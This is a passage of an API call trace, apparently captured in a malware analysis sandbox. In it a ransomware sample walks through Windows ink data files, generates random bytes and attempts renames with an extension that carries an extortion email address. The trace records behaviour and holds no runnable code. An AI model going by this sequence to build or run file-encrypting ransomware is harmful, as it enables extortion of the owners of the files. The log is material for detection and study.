dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.327] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.327] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2764) returned 1 [0055.327] CloseHandle (hObject=0x180) returned 1 [0055.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0055.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.328] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.329] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=591) returned 1 [0055.329] CloseHandle (hObject=0x180) returned 1 [0055.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0055.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.329] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.330] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1166) returned 1 [0055.330] CloseHandle (hObject=0x180) returned 1 [0055.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0055.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.331] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.331] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=207) returned 1 [0055.331] CloseHandle (hObject=0x180) returned 1 [0055.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0055.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.331] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.332] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=46624) returned 1 [0055.332] CloseHandle (hObject=0x180) returned 1 [0055.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0055.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.332] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.334] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=747280) returned 1 [0055.334] CloseHandle (hObject=0x180) returned 1 [0055.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0055.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.334] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.334] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=815680) returned 1 [0055.334] CloseHandle (hObject=0x180) returned 1 [0055.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0055.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.335] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.335] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1100368) returned 1 [0055.335] CloseHandle (hObject=0x180) returned 1 [0055.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0055.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.336] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.337] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3053984) returned 1 [0055.337] CloseHandle (hObject=0x180) returned 1 [0055.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20 [0055.337] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0055.337] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0 [0055.337] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.338] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2227968) returned 1 [0055.338] CloseHandle (hObject=0x180) returned 1 [0055.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0055.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0055.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0 [0055.338] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.339] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3195696) returned 1 [0055.339] CloseHandle (hObject=0x180) returned 1 [0055.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0055.339] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0055.339] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0055.339] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.340] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4120784) returned 1 [0055.340] CloseHandle (hObject=0x180) returned 1 [0055.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0055.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0055.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0055.340] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.341] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2592) returned 1 [0055.341] CloseHandle (hObject=0x180) returned 1 [0055.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0055.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.341] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.342] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2462) returned 1 [0055.342] CloseHandle (hObject=0x180) returned 1 [0055.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0055.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.343] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.344] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2436) returned 1 [0055.344] CloseHandle (hObject=0x180) returned 1 [0055.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0055.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.344] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.345] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2514) returned 1 [0055.345] CloseHandle (hObject=0x180) returned 1 [0055.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0055.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.345] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.346] GetFileSizeEx (in: hFile=0x180, 